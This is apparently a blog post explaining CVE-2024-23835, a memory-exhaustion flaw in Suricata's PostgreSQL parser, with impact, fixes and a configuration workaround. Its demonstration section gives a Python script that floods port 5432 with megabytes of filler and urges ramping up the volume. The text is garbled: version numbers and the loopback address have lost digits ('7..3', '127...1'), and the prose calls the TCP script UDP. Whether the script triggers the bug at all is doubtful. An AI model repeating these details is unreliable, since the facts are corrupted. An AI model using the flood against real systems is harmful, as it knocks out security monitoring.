CVE-2024-23835 - Suricata pgsql Parser Vulnerability—Explained, Exploited, and Secured
Suricata is a powerful, open-source networking tool widely used as an Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring (NSM) engine. But like any critical infrastructure software, it's not immune to bugs that crafty attackers can exploit. One such issue—CVE-2024-23835—put users at risk of denial-of-service (DoS) through Out-Of-Memory (OOM) crashes by targeting Suricata’s pgsql parser.
This exclusive, easy-to-read guide explains what happened, how the vulnerability works, and how to both replicate and fix it.
What is CVE-2024-23835?
CVE-2024-23835 is a vulnerability in Suricata versions before 7..3. It relates to how the software parses network traffic identified as PostgreSQL (pgsql). Attackers can exploit Suricata’s pgsql parser to dramatically increase memory use, eventually crashing the system by exhausting all available memory.
- *CVE Page:* CVE-2024-23835
- *Official Patch Notes:* Suricata GitHub Security Advisory
Why Does This Matter?
When Suricata is overloaded, it can’t do its job as a security watchdog. If you rely on it to catch hackers or alert your team about intrusions, a forced crash means you’re flying blind. Attackers could cover their tracks with a “loud” attack (DoS) and then sneak in the “real” attack while you’re distracted or unaware.
How Does the Exploit Work?
When parsing PostgreSQL traffic, Suricata’s app-layer parser can get stuck consuming huge amounts of memory if it sees specifically crafted traffic. An attacker, even with moderate network access, can send POSTGRESQL-like network streams that Suricata dutifully tries to parse, allocating more and more memory until the operating system simply runs out—crashing Suricata or the host entirely.
Exploiting CVE-2024-23835—A Demonstration
To test or demonstrate this issue, you can set up Suricata (prior to 7..3) and send custom-crafted packets imitating pgsql protocol chatter with a tool like scapy or netcat.
WARNING: Only try this in a lab environment—never on production systems.
Python Example: Sending a Long Fake pgsql Packet
import socket
# Assume Suricata is monitoring lo:port 5432 (default pgsql)
HOST, PORT = "127...1", 5432
payload = b'A' * (10 * 1024 * 1024) # 10 MB of 'A' chars -- ramp this up as needed
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(payload)
s.close()
This script simply opens a TCP connection and blasts several megabytes (or gigabytes) of bogus data to UDP port 5432. Suricata thinks this is PostgreSQL traffic and, in vulnerable versions, tries to parse and store it—quickly running out of RAM.
Official Fix
Upgrade to Suricata 7..3 or later. This is the only surefire way to patch the underlying bug.
➜ Suricata 7..3 Release Notes
Workaround: Disable pgsql Layer Parser
If you can't upgrade right away, you can disable Suricata's pgsql parser. In your suricata.yaml config file:
app-layer:
protocols:
pgsql:
enabled: no
Then restart Suricata for the change to take effect.
References & Further Reading
- CVE-2024-23835 on NVD
- Suricata Security Advisory (GHSA-jjxh-wpjh-hp5w)
- Suricata Documentation
Summary
- CVE-2024-23835 impacts Suricata <7..3, enabling attackers to crash the software using special pgsql-like network traffic.
Solution: update Suricata or disable pgsql parsing temporarily.
Always keep intrusion detection software up to date, and stay informed on security advisories.
Timeline
Published on: 02/26/2024 16:27:57 UTC
Last modified on: 03/07/2024 03:15:06 UTC